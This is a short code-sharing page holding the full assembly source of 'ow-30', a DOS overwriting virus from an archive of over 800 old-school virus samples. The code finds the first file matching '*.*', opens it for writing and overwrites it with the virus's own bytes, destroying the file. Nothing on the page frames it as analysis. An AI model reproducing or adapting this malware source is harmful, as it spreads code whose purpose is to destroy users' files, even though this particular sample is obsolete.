ow-30.asm

来自「More than 800 virus code (old school) ju」· 汇编 代码 · 共 15 行

Main:           Mov Ah,4eh
On2:            Lea Dx,FileSpec
                Int 21h
                Mov Ax,3d02h
                Mov Dx,9eh
                Int 21h
                Mov Bh,40h
                Xchg Ax,Bx
                Lea Dx,Main
                Mov Cl,Length
                Int 21h
On1:            Ret
FileSpec        Db '*.*',0
Length          Equ $-Main